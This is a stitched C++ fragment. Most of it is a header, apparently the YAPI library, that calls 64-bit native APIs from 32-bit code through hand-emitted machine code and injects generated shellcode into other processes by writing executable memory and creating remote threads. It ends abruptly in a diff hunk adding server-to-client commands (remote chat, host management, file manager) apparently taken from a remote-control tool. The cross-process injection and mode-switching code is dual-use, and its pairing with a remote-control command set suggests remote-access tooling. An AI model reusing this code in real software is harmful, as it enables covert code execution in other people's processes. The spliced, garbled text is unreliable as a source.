status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + ied.AddressOfNames), (PVOID)&nameTable[0], sizeof(DWORD) * ied.NumberOfNames, NULL);
|
||||
if (!NT_SUCCESS(status)) return 0;
|
||||
|
||||
for (DWORD i = 0; i < ied.NumberOfNames; ++i) {
|
||||
std::string func(strlen(funcName), 0);
|
||||
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + nameTable[i]), (PVOID)&func[0], strlen(funcName), NULL);
|
||||
if (!NT_SUCCESS(status)) continue;
|
||||
|
||||
if (func == funcName) {
|
||||
WORD ord = 0;
|
||||
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + ied.AddressOfNameOrdinals + i * sizeof(WORD)), (PVOID)&ord, sizeof(WORD), NULL);
|
||||
if (!NT_SUCCESS(status)) continue;
|
||||
|
||||
DWORD rva = 0;
|
||||
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + ied.AddressOfFunctions + ord * sizeof(DWORD)), (PVOID)&rva, sizeof(DWORD), NULL);
|
||||
if (!NT_SUCCESS(status)) continue;
|
||||
|
||||
return hModule + rva;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
inline DWORD64 GetNtDll64()
|
||||
{
|
||||
static DWORD64 hNtdll64 = 0;
|
||||
if(hNtdll64) return hNtdll64;
|
||||
hNtdll64 = GetModuleHandle64(detail::hCurProcess, _T("ntdll.dll"));
|
||||
return hNtdll64;
|
||||
}
|
||||
|
||||
#ifdef _WIN64
|
||||
|
||||
#define SetLastError64 SetLastError
|
||||
#define VirtualQueryEx64 VirtualQueryEx
|
||||
#define VirtualAllocEx64 VirtualAllocEx
|
||||
#define VirtualFreeEx64 VirtualFreeEx
|
||||
#define VirtualProtectEx64 VirtualProtectEx
|
||||
#define ReadProcessMemory64 ReadProcessMemory
|
||||
#define WriteProcessMemory64 WriteProcessMemory
|
||||
#define LoadLibrary64 LoadLibrary
|
||||
#define CreateRemoteThread64 CreateRemoteThread
|
||||
|
||||
#else
|
||||
|
||||
namespace {
|
||||
#define _(x) __asm __emit (x)
|
||||
__declspec(naked) DWORD64 x64Call(DWORD64 func, int argC, ...)
|
||||
{
|
||||
// see X64Call_disassemble for details
|
||||
_(0x55)_(0x8b)_(0xec)_(0x8b)_(0x4d)_(0x10)_(0x8d)_(0x55)_(0x14)_(0x83)_(0xec)_(0x40)_(0x53)_(0x56)_(0x57)_(0x85)
|
||||
_(0xc9)_(0x7e)_(0x15)_(0x8b)_(0x45)_(0x14)_(0x8d)_(0x55)_(0x1c)_(0x49)_(0x89)_(0x45)_(0xf0)_(0x8b)_(0x45)_(0x18)
|
||||
_(0x89)_(0x4d)_(0x10)_(0x89)_(0x45)_(0xf4)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)_(0x13)_(0x45)_(0xf0)
|
||||
_(0x85)_(0xc9)_(0x7e)_(0x15)_(0x49)_(0x83)_(0xc2)_(0x08)_(0x89)_(0x4d)_(0x10)_(0x8b)_(0x42)_(0xf8)_(0x89)_(0x45)
|
||||
_(0xe8)_(0x8b)_(0x42)_(0xfc)_(0x89)_(0x45)_(0xec)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)_(0x13)_(0x45)
|
||||
_(0xe8)_(0x85)_(0xc9)_(0x7e)_(0x15)_(0x49)_(0x83)_(0xc2)_(0x08)_(0x89)_(0x4d)_(0x10)_(0x8b)_(0x42)_(0xf8)_(0x89)
|
||||
_(0x45)_(0xe0)_(0x8b)_(0x42)_(0xfc)_(0x89)_(0x45)_(0xe4)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)_(0x13)
|
||||
_(0x45)_(0xe0)_(0x85)_(0xc9)_(0x7e)_(0x15)_(0x49)_(0x83)_(0xc2)_(0x08)_(0x89)_(0x4d)_(0x10)_(0x8b)_(0x42)_(0xf8)
|
||||
_(0x89)_(0x45)_(0xd8)_(0x8b)_(0x42)_(0xfc)_(0x89)_(0x45)_(0xdc)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)
|
||||
_(0x13)_(0x45)_(0xd8)_(0x8b)_(0xc2)_(0xc7)_(0x45)_(0xfc)_(0x00)_(0x00)_(0x00)_(0x00)_(0x99)_(0x0f)_(0x57)_(0xc0)
|
||||
_(0x89)_(0x45)_(0xc0)_(0x8b)_(0xc1)_(0x89)_(0x55)_(0xc4)_(0x99)_(0x66)_(0x0f)_(0x13)_(0x45)_(0xc8)_(0x89)_(0x45)
|
||||
_(0xd0)_(0x89)_(0x55)_(0xd4)_(0xc7)_(0x45)_(0xf8)_(0x00)_(0x00)_(0x00)_(0x00)_(0x66)_(0x8c)_(0x65)_(0xf8)_(0xb8)
|
||||
_(0x2b)_(0x00)_(0x00)_(0x00)_(0x66)_(0x8e)_(0xe0)_(0x89)_(0x65)_(0xfc)_(0x83)_(0xe4)_(0xf0)_(0x6a)_(0x33)_(0xe8)
|
||||
_(0x00)_(0x00)_(0x00)_(0x00)_(0x83)_(0x04)_(0x24)_(0x05)_(0xcb)_(0x48)_(0x8b)_(0x4d)_(0xf0)_(0x48)_(0x8b)_(0x55)
|
||||
_(0xe8)_(0xff)_(0x75)_(0xe0)_(0x49)_(0x58)_(0xff)_(0x75)_(0xd8)_(0x49)_(0x59)_(0x48)_(0x8b)_(0x45)_(0xd0)_(0xa8)
|
||||
_(0x01)_(0x75)_(0x03)_(0x83)_(0xec)_(0x08)_(0x57)_(0x48)_(0x8b)_(0x7d)_(0xc0)_(0x48)_(0x85)_(0xc0)_(0x74)_(0x16)
|
||||
_(0x48)_(0x8d)_(0x7c)_(0xc7)_(0xf8)_(0x48)_(0x85)_(0xc0)_(0x74)_(0x0c)_(0xff)_(0x37)_(0x48)_(0x83)_(0xef)_(0x08)
|
||||
_(0x48)_(0x83)_(0xe8)_(0x01)_(0xeb)_(0xef)_(0x48)_(0x83)_(0xec)_(0x20)_(0xff)_(0x55)_(0x08)_(0x48)_(0x8b)_(0x4d)
|
||||
_(0xd0)_(0x48)_(0x8d)_(0x64)_(0xcc)_(0x20)_(0x5f)_(0x48)_(0x89)_(0x45)_(0xc8)_(0xe8)_(0x00)_(0x00)_(0x00)_(0x00)
|
||||
_(0xc7)_(0x44)_(0x24)_(0x04)_(0x23)_(0x00)_(0x00)_(0x00)_(0x83)_(0x04)_(0x24)_(0x0d)_(0xcb)_(0x66)_(0x8c)_(0xd8)
|
||||
_(0x66)_(0x8e)_(0xd0)_(0x8b)_(0x65)_(0xfc)_(0x66)_(0x8b)_(0x45)_(0xf8)_(0x66)_(0x8e)_(0xe0)_(0x8b)_(0x45)_(0xc8)
|
||||
_(0x8b)_(0x55)_(0xcc)_(0x5f)_(0x5e)_(0x5b)_(0x8b)_(0xe5)_(0x5d)_(0xc3)
|
||||
}
|
||||
#undef _
|
||||
}
|
||||
|
||||
class X64Call
|
||||
{
|
||||
template<typename char_t>
|
||||
struct StringHelper : detail::GCBase
|
||||
{
|
||||
StringHelper(const char_t* v) : name(0) {
|
||||
name = new _UNICODE_STRING_T<DWORD64>;
|
||||
name->Buffer = (DWORD64)v;
|
||||
name->Length = (WORD)tcslen(v) * sizeof(char_t);
|
||||
name->MaximumLength = name->Length;
|
||||
}
|
||||
virtual void gc() { delete name; }
|
||||
virtual DWORD64 toDWORD64() { return (DWORD64)name; }
|
||||
private:
|
||||
_UNICODE_STRING_T<DWORD64>* name;
|
||||
};
|
||||
template<typename T>
|
||||
DWORD64 ToDWORD64(T v, detail::GCHelper*) {
|
||||
return DWORD64(v);
|
||||
}
|
||||
template<> DWORD64 ToDWORD64<const char*>(const char* v, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(v)); }
|
||||
template<> DWORD64 ToDWORD64<const wchar_t*>(const wchar_t* v, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(v)); }
|
||||
template<> DWORD64 ToDWORD64<char*>(char* v, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(v)); }
|
||||
template<> DWORD64 ToDWORD64<wchar_t*>(wchar_t* v, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(v)); }
|
||||
|
||||
private:
|
||||
DWORD64 func;
|
||||
|
||||
public:
|
||||
X64Call(const char* funcName) : func(GetProcAddress64(0, GetNtDll64(), funcName)) {}
|
||||
X64Call(DWORD64 module, const char* funcName) : func(GetProcAddress64(0, module, funcName)) {}
|
||||
|
||||
operator DWORD64() { return func; }
|
||||
|
||||
DWORD64 operator()() { return func && x64Call(func, 0); }
|
||||
|
||||
#define __TO_DWORD64_DECL(n) ToDWORD64(__PARAM(n), &helper)
|
||||
#define TO_DWORD64_DECL(n) __TO_DWORD64_DECL(n) ,
|
||||
#define END_TO_DWORD64_DECL(n) __TO_DWORD64_DECL(n)
|
||||
#define CALLERS(n) template<DECL_VOID_TEMPLATE_ARGS(n)> DWORD64 operator()(DECL_PARAMS_LIST(n)) { detail::GCHelper helper; return func && x64Call(func, n, REPEAT(n, TO_DWORD64_DECL, END_TO_DWORD64_DECL)); }
|
||||
CALLERS( 1) CALLERS( 2) CALLERS( 3) CALLERS( 4) CALLERS( 5) CALLERS( 6) CALLERS( 7) CALLERS( 8) CALLERS( 9) CALLERS(10)
|
||||
CALLERS(11) CALLERS(12) CALLERS(13) CALLERS(14) CALLERS(15) CALLERS(16) CALLERS(17) CALLERS(18) CALLERS(19) CALLERS(20)
|
||||
#undef CALLERS
|
||||
#undef END_TO_DWORD64_DECL
|
||||
#undef TO_DWORD64_DECL
|
||||
#undef __TO_DWORD64_DECL
|
||||
};
|
||||
|
||||
inline VOID WINAPI SetLastError64(DWORD64 status)
|
||||
{
|
||||
typedef ULONG (WINAPI *RTL_NTSTATUS_TO_DOS_ERROR)(NTSTATUS Status);
|
||||
typedef ULONG (WINAPI *RTL_SET_LAST_WIN32_ERROR)(NTSTATUS Status);
|
||||
|
||||
static RTL_NTSTATUS_TO_DOS_ERROR RtlNtStatusToDosError = (RTL_NTSTATUS_TO_DOS_ERROR)GetProcAddress(detail::hNtDll, "RtlNtStatusToDosError");
|
||||
static RTL_SET_LAST_WIN32_ERROR RtlSetLastWin32Error = (RTL_SET_LAST_WIN32_ERROR)GetProcAddress(detail::hNtDll, "RtlSetLastWin32Error");
|
||||
|
||||
if (RtlNtStatusToDosError && RtlSetLastWin32Error)
|
||||
RtlSetLastWin32Error(RtlNtStatusToDosError((DWORD)status));
|
||||
}
|
||||
|
||||
inline SIZE_T WINAPI VirtualQueryEx64(HANDLE hProcess, DWORD64 lpAddress, MEMORY_BASIC_INFORMATION64* lpBuffer, SIZE_T dwLength)
|
||||
{
|
||||
static X64Call NtQueryVirtualMemory("NtQueryVirtualMemory");
|
||||
if (!NtQueryVirtualMemory) return 0;
|
||||
|
||||
DWORD64 ret = 0;
|
||||
DWORD64 status = NtQueryVirtualMemory(hProcess, lpAddress, 0, lpBuffer, dwLength, &ret);
|
||||
if (!status) return (SIZE_T)ret;
|
||||
|
||||
SetLastError64(ret);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
inline DWORD64 WINAPI VirtualAllocEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
|
||||
{
|
||||
static X64Call NtAllocateVirtualMemory("NtAllocateVirtualMemory");
|
||||
if (!NtAllocateVirtualMemory) return 0;
|
||||
|
||||
DWORD64 tmpAddr = lpAddress;
|
||||
DWORD64 tmpSize = dwSize;
|
||||
DWORD64 ret = NtAllocateVirtualMemory(hProcess, &tmpAddr, 0, &tmpSize, flAllocationType, flProtect);
|
||||
if (!ret) return tmpAddr;
|
||||
|
||||
SetLastError64(ret);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
inline BOOL WINAPI VirtualFreeEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD dwFreeType)
|
||||
{
|
||||
static X64Call NtFreeVirtualMemory("NtFreeVirtualMemory");
|
||||
if (!NtFreeVirtualMemory) return 0;
|
||||
|
||||
DWORD64 tmpAddr = lpAddress;
|
||||
DWORD64 tmpSize = dwSize;
|
||||
DWORD64 ret = NtFreeVirtualMemory(hProcess, &tmpAddr, &tmpSize, dwFreeType);
|
||||
if (!ret) return TRUE;
|
||||
|
||||
SetLastError64(ret);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
inline BOOL WINAPI VirtualProtectEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD* lpflOldProtect)
|
||||
{
|
||||
static X64Call NtProtectVirtualMemory("NtProtectVirtualMemory");
|
||||
if (!NtProtectVirtualMemory) return 0;
|
||||
|
||||
DWORD64 tmpAddr = lpAddress;
|
||||
DWORD64 tmpSize = dwSize;
|
||||
DWORD64 ret = NtProtectVirtualMemory(hProcess, &tmpAddr, &tmpSize, flNewProtect, lpflOldProtect);
|
||||
if (!ret) return TRUE;
|
||||
|
||||
SetLastError64(ret);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
inline BOOL WINAPI ReadProcessMemory64(HANDLE hProcess, DWORD64 lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesRead)
|
||||
{
|
||||
static X64Call NtReadVirtualMemory("NtReadVirtualMemory");
|
||||
if (!NtReadVirtualMemory) return 0;
|
||||
|
||||
DWORD64 read = 0;
|
||||
DWORD64 ret = NtReadVirtualMemory(hProcess, lpBaseAddress, lpBuffer, nSize, &read);
|
||||
if (!ret) {
|
||||
if (lpNumberOfBytesRead) *lpNumberOfBytesRead = (SIZE_T)read;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
SetLastError64(ret);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
inline BOOL WINAPI WriteProcessMemory64(HANDLE hProcess, DWORD64 lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesWritten)
|
||||
{
|
||||
static X64Call NtWriteVirtualMemory("NtWriteVirtualMemory");
|
||||
if (!NtWriteVirtualMemory) return 0;
|
||||
|
||||
DWORD64 written = 0;
|
||||
DWORD64 ret = NtWriteVirtualMemory(hProcess, lpBaseAddress, lpBuffer, nSize, &written);
|
||||
if (!ret) {
|
||||
if (lpNumberOfBytesWritten) *lpNumberOfBytesWritten = (SIZE_T)written;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
SetLastError64(ret);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
inline HANDLE WINAPI CreateRemoteThread64(HANDLE hProcess,
|
||||
LPSECURITY_ATTRIBUTES lpThreadAttributes,
|
||||
SIZE_T dwStackSize,
|
||||
DWORD64 lpStartAddress,
|
||||
DWORD64 lpParameter,
|
||||
DWORD dwCreationFlags,
|
||||
LPDWORD lpThreadId)
|
||||
{
|
||||
static X64Call RtlCreateUserThread("RtlCreateUserThread");
|
||||
if (!RtlCreateUserThread) return 0;
|
||||
|
||||
BOOLEAN createSuspended = dwCreationFlags & CREATE_SUSPENDED;
|
||||
ULONG stackSize = dwStackSize;
|
||||
DWORD64 handle = 0;
|
||||
DWORD64 status = RtlCreateUserThread(hProcess, lpThreadAttributes, createSuspended, 0, (dwCreationFlags & STACK_SIZE_PARAM_IS_A_RESERVATION) ? &stackSize : NULL, &stackSize, lpStartAddress, lpParameter, &handle, NULL);
|
||||
if (!status) return (HANDLE)handle;
|
||||
|
||||
SetLastError64(status);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
class ProcessWriter
|
||||
{
|
||||
public:
|
||||
template<typename T>
|
||||
ProcessWriter(HANDLE hProcess, T content, SIZE_T dwSize, DWORD flProtect = PAGE_READWRITE)
|
||||
: _autoRelease(TRUE)
|
||||
, _hProcess(hProcess)
|
||||
, _dw64Address(0)
|
||||
, _dwSize(dwSize)
|
||||
{
|
||||
if (!(_dw64Address = VirtualAllocEx64(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, flProtect)))
|
||||
return;
|
||||
SIZE_T written = 0;
|
||||
if (!WriteProcessMemory64(hProcess, _dw64Address, (PVOID)content, dwSize, &written) || written != dwSize) {
|
||||
VirtualFreeEx64(hProcess, _dw64Address, _dwSize, MEM_DECOMMIT);
|
||||
_dw64Address = 0;
|
||||
}
|
||||
}
|
||||
~ProcessWriter() {
|
||||
if (_dw64Address && _autoRelease)
|
||||
VirtualFreeEx64(_hProcess, _dw64Address, _dwSize, MEM_DECOMMIT);
|
||||
}
|
||||
void SetDontRelese() {
|
||||
_autoRelease = FALSE;
|
||||
}
|
||||
operator DWORD64() {
|
||||
return (DWORD64)_dw64Address;
|
||||
}
|
||||
#ifdef _WIN64
|
||||
template<typename T>
|
||||
operator T*() {
|
||||
return (T*)_dw64Address;
|
||||
}
|
||||
#endif
|
||||
|
||||
private:
|
||||
BOOL _autoRelease;
|
||||
HANDLE _hProcess;
|
||||
#ifdef _WIN64
|
||||
LPVOID _dw64Address;
|
||||
#else
|
||||
DWORD64 _dw64Address;
|
||||
#endif
|
||||
SIZE_T _dwSize;
|
||||
};
|
||||
|
||||
namespace {
|
||||
|
||||
std::string makeShellCode(int cnt, bool is64Bit)
|
||||
{
|
||||
if(is64Bit) {
|
||||
// see X64Delegator_disassemble for details
|
||||
static const unsigned char kTmpl_x64[] = { 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x48, 0x85, 0xc9, 0x74, 0x1d, 0x48, 0x83,
|
||||
0x39, 0x00, 0x48, 0x8b, 0x41, 0x08, 0x74, 0x0b, 0xff, 0xd0, 0x48, 0x89, 0x03, 0x48, 0x83, 0xc4,
|
||||
0x20, 0x5b, 0xc3, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0x48, 0xff, 0xe0, 0x33, 0xc0, 0x48, 0x83, 0xc4,
|
||||
0x20, 0x5b, 0xc3 };
|
||||
|
||||
std::string templ_x64((const char*)kTmpl_x64, sizeof(kTmpl_x64));
|
||||
if(!cnt) return templ_x64;
|
||||
|
||||
templ_x64[13] += (cnt <= 4) ? cnt * 4 : (cnt - 4) * 9 + 16;
|
||||
if(cnt >= 1)
|
||||
templ_x64[16] = 0x3b;
|
||||
|
||||
if(cnt < 3) {
|
||||
if(cnt >= 1) {
|
||||
templ_x64.insert(22, "\x48\x8b\x49\x10", 4);
|
||||
}
|
||||
if(cnt >= 2) {
|
||||
templ_x64.insert(22, "\x48\x8b\x51\x18", 4);
|
||||
}
|
||||
}
|
||||
else {
|
||||
templ_x64[20] = 0x49;
|
||||
templ_x64[21] = 0x10;
|
||||
templ_x64.insert(22, "\x48\x8B\x53\x18", 4);
|
||||
templ_x64.insert(22, "\x4c\x8b\x43\x20", 4);
|
||||
templ_x64.insert(22, "\x48\x8b\x43\x08", 4);
|
||||
if(cnt >= 4) {
|
||||
templ_x64.insert(26, "\x4c\x8b\x4b\x28", 4);
|
||||
}
|
||||
if(cnt >= 5) {
|
||||
templ_x64.insert(18, "\x4c\x8B\x53\x30", 4);
|
||||
templ_x64.insert(42, "\x4c\x89\x54\x24\x20", 5);
|
||||
}
|
||||
if(cnt >= 6) {
|
||||
templ_x64[21] = 0x38;
|
||||
templ_x64.insert(22, "\x4c\x8b\x5b\x30", 4);
|
||||
templ_x64[50] = 0x28;
|
||||
templ_x64.insert(51, "\x4c\x89\x5c\x24\x20", 5);
|
||||
}
|
||||
// TODO
|
||||
}
|
||||
return templ_x64;
|
||||
}
|
||||
// see X86Delegator_disassemble for details
|
||||
static const unsigned char kTmpl_x86[] = { 0x55, 0x8b, 0xec, 0x51, 0x83, 0x7d, 0x08, 0x00, 0x74, 0x0c, 0x8b ,0x45, 0x08, 0x8b, 0x08, 0xff,
|
||||
0xd0, 0x89, 0x45, 0xfc, 0xeb, 0x07, 0xc7, 0x45, 0xfc, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xfc,
|
||||
0x8b, 0xe5, 0x5d, 0xc3 };
|
||||
std::string templ_x86((const char*)kTmpl_x86, sizeof(kTmpl_x86));
|
||||
// je distance
|
||||
templ_x86[9] += cnt * 7;
|
||||
templ_x86[16] += ((1 - cnt) % 3 + 3) % 3;
|
||||
int pos = 13;
|
||||
for(int i = 0; i < cnt; ++i) {
|
||||
switch(i % 3) {
|
||||
case 0:
|
||||
templ_x86.insert(pos, "\x8b\x48\xcc\x51\x8b\x55\x08", 7);
|
||||
break;
|
||||
case 1:
|
||||
templ_x86.insert(pos, "\x8b\x42\xcc\x50\x8b\x4d\x08", 7);
|
||||
break;
|
||||
case 2:
|
||||
templ_x86.insert(pos, "\x8b\x51\xcc\x52\x8b\x45\x08", 7);
|
||||
break;
|
||||
}
|
||||
templ_x86[pos + 2] = (cnt - i) << 2;
|
||||
pos += 7;
|
||||
}
|
||||
switch(cnt % 3) {
|
||||
case 0:
|
||||
templ_x86[pos + 1] = 0x08;
|
||||
break;
|
||||
case 1:
|
||||
templ_x86[pos + 1] = 0x02;
|
||||
break;
|
||||
case 2:
|
||||
templ_x86[pos + 1] = 0x11;
|
||||
break;
|
||||
}
|
||||
return templ_x86;
|
||||
}
|
||||
|
||||
template<int argCnt, bool is64Bit>
|
||||
const std::string& shellCode() {
|
||||
static std::string kCode = makeShellCode(argCnt, is64Bit);
|
||||
return kCode;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
class YAPICall
|
||||
{
|
||||
template<typename T>
|
||||
DWORD64 ToDWORD64(T v, HANDLE hProcess, detail::GCHelper*) {
|
||||
return DWORD64(v);
|
||||
}
|
||||
template<typename char_t>
|
||||
struct StringHelper : detail::GCBase
|
||||
{
|
||||
StringHelper(HANDLE hProcess, const char_t* v) : name(0) {
|
||||
name = new ProcessWriter(hProcess, v, (tcslen(v) + 1) * sizeof(char_t));
|
||||
}
|
||||
virtual void gc() { delete name; }
|
||||
virtual DWORD64 toDWORD64() { return (DWORD64)*name; }
|
||||
private:
|
||||
ProcessWriter* name;
|
||||
};
|
||||
template<> DWORD64 ToDWORD64<const char*>(const char* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(hProcess, v)); }
|
||||
template<> DWORD64 ToDWORD64<const wchar_t*>(const wchar_t* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(hProcess, v)); }
|
||||
template<> DWORD64 ToDWORD64<char*>(char* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(hProcess, v)); }
|
||||
template<> DWORD64 ToDWORD64<wchar_t*>(wchar_t* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(hProcess, v)); }
|
||||
|
||||
private:
|
||||
HANDLE _hProcess;
|
||||
ProcessWriter* _sc;
|
||||
DWORD64 func;
|
||||
BOOL _dw64Ret;
|
||||
DWORD _dwTimeout;
|
||||
BOOL _is64Bit;
|
||||
|
||||
template<int argCnt>
|
||||
bool initShellCoder(ProcessWriter*& sc) {
|
||||
if(sc) return false;
|
||||
const std::string& shellcode = _is64Bit ? shellCode<argCnt, 1>() : shellCode<argCnt, 0>();
|
||||
sc = new ProcessWriter(_hProcess, shellcode.data(), shellcode.size() + 1, PAGE_EXECUTE_READWRITE);
|
||||
return true;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
DWORD64 call(const std::vector<T>& param) {
|
||||
ProcessWriter p(_hProcess, ¶m[0], sizeof(T) * (param.size()));
|
||||
if (!p) return -1;
|
||||
HANDLE hThread = 0;
|
||||
if (_is64Bit)
|
||||
hThread = CreateRemoteThread64(_hProcess, NULL, 0, *_sc, p, 0, NULL);
|
||||
else {
|
||||
#ifdef _WIN64
|
||||
// see X64toX86_disassemble for details
|
||||
static const unsigned char kTmpl_x64_to_x86[] = { 0x48, 0x89, 0x4c, 0x24, 0x08, 0x48, 0x83, 0xec, 0x28, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x8b, 0x48,
|
||||
0x08, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x6a, 0x33, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x83, 0x04, 0x24,
|
||||
0x05, 0xcb, 0xff, 0xd0, 0xe8, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x04, 0x23, 0x00, 0x00,
|
||||
0x00, 0x83, 0x04, 0x24, 0x0d, 0xcb, 0x48, 0x83, 0xc4, 0x28, 0xc3 };
|
||||
std::string x86_shellcode((char*)kTmpl_x64_to_x86, sizeof(kTmpl_x64_to_x86));
|
||||
ProcessWriter* sc = new ProcessWriter(_hProcess, x86_shellcode.data(), x86_shellcode.size() + 1, PAGE_EXECUTE_READWRITE);
|
||||
sc->SetDontRelese();
|
||||
hThread = CreateRemoteThread64(_hProcess, NULL, 0, *_sc, p, 0, NULL);
|
||||
#else
|
||||
hThread = CreateRemoteThread(_hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)(DWORD64)*_sc, (PVOID)(DWORD64)p, 0, NULL);
|
||||
#endif
|
||||
}
|
||||
if (!hThread) return -1;
|
||||
if (WaitForSingleObject(hThread, _dwTimeout) != WAIT_OBJECT_0) {
|
||||
_sc->SetDontRelese();
|
||||
CloseHandle(hThread);
|
||||
return -1;
|
||||
}
|
||||
if (!_is64Bit || !_dw64Ret) {
|
||||
DWORD ret = 0;
|
||||
GetExitCodeThread(hThread, &ret);
|
||||
CloseHandle(hThread);
|
||||
return ret;
|
||||
}
|
||||
DWORD64 ret = 0;
|
||||
CloseHandle(hThread);
|
||||
ReadProcessMemory64(_hProcess, p, &ret, sizeof(DWORD64), NULL);
|
||||
return ret;
|
||||
}
|
||||
|
||||
public:
|
||||
YAPICall(HANDLE hProcess, const char* funcName)
|
||||
: _hProcess(hProcess)
|
||||
, _sc(0)
|
||||
, func(GetProcAddress64(hProcess, GetNtDll64(), funcName))
|
||||
, _dw64Ret(FALSE)
|
||||
, _dwTimeout(INFINITE)
|
||||
, _is64Bit(detail::is64BitOS)
|
||||
{
|
||||
}
|
||||
YAPICall(HANDLE hProcess, DWORD64 moudle, const char* funcName)
|
||||
: _hProcess(hProcess)
|
||||
, _sc(0)
|
||||
, func(GetProcAddress64(hProcess, moudle, funcName))
|
||||
, _dw64Ret(FALSE)
|
||||
, _dwTimeout(INFINITE)
|
||||
, _is64Bit(detail::is64BitOS)
|
||||
{
|
||||
}
|
||||
YAPICall(HANDLE hProcess, const TCHAR* modName, const char* funcName)
|
||||
: _hProcess(hProcess)
|
||||
, _sc(0)
|
||||
, func(GetProcAddress64(hProcess, GetModuleHandle64(hProcess, modName), funcName))
|
||||
, _dw64Ret(FALSE)
|
||||
, _dwTimeout(INFINITE)
|
||||
, _is64Bit(detail::is64BitOS)
|
||||
{
|
||||
if(!func) {
|
||||
func = GetProcAddress(hProcess, GetModuleHandle(hProcess, modName), funcName);
|
||||
_is64Bit = FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
~YAPICall() { if (_sc) delete _sc; }
|
||||
|
||||
operator DWORD64() { return func; }
|
||||
|
||||
YAPICall& Dw64() { _dw64Ret = TRUE; return *this; }
|
||||
YAPICall& Timeout(DWORD dwTimeout) { _dwTimeout = dwTimeout; return *this; }
|
||||
|
||||
#define TO_DWORD64_ARRAY_DECL(n) param[n + 1] = ToDWORD64(__PARAM(n), _hProcess, &helper);
|
||||
#define TO_DWORD_ARRAY_DECL(n) param[n] = (DWORD)ToDWORD64(__PARAM(n), _hProcess, &helper);
|
||||
|
||||
#define CALLERSX(n) \
|
||||
DWORD64 operator()(DECL_PARAMS_LIST(n)) {\
|
||||
bool b = initShellCoder<n>(_sc);\
|
||||
if(!b || !func || !_sc || !*_sc) return -1;\
|
||||
detail::GCHelper helper;\
|
||||
if(_is64Bit) {\
|
||||
std::vector<DWORD64> param(n + 2, 0);\
|
||||
param[0] = _dw64Ret;\
|
||||
param[1] = func;\
|
||||
REPEAT(n, TO_DWORD64_ARRAY_DECL, TO_DWORD64_ARRAY_DECL)\
|
||||
return call<DWORD64>(param);\
|
||||
}\
|
||||
std::vector<DWORD> param(n + 1, 0);\
|
||||
param[0] = (DWORD)func;\
|
||||
REPEAT(n, TO_DWORD_ARRAY_DECL, TO_DWORD_ARRAY_DECL)\
|
||||
return call<DWORD>(param);\
|
||||
}
|
||||
#define CALLERS(n) template<DECL_VOID_TEMPLATE_ARGS(n)> CALLERSX(n)
|
||||
CALLERSX( 0)
|
||||
CALLERS( 1) CALLERS( 2) CALLERS( 3) CALLERS( 4) CALLERS( 5) CALLERS( 6) /*CALLERS( 7) CALLERS( 8) CALLERS( 9) CALLERS(10)
|
||||
CALLERS(11) CALLERS(12) CALLERS(13) CALLERS(14) CALLERS(15) CALLERS(16) CALLERS(17) CALLERS(18) CALLERS(19) CALLERS(20)*/
|
||||
#undef CALLERSX
|
||||
#undef CALLERS
|
||||
#undef TO_DWORD_ARRAY_DECL
|
||||
#undef TO_DWORD64_ARRAY_DECL
|
||||
};
|
||||
|
||||
#define YAPI(h, m, f) YAPICall(h, m, #f)
|
||||
}
|
||||
@@ -320,6 +320,12 @@ enum {
|
||||
COMMAND_QUERY_ACTIVITY = 159, // 服务端 → 客户端:索取历史活动
|
||||
TOKEN_REPORT_ACTIVITY = 160, // 客户端 → 服务端:上报历史活动
|
||||
|
||||
COMMAND_CHAT = 161, // 服务端 → 客户端:发起远程交谈(双向聊天)
|
||||
COMMAND_MACHINE_MANAGE = 162, // 服务端 → 客户端:打开主机管理对话框
|
||||
COMMAND_FILE_MANAGER_PLUGIN = 163, // 服务端 → 客户端:打开插件文件管理对话框(SimplePlugins 迁移)
|
||||
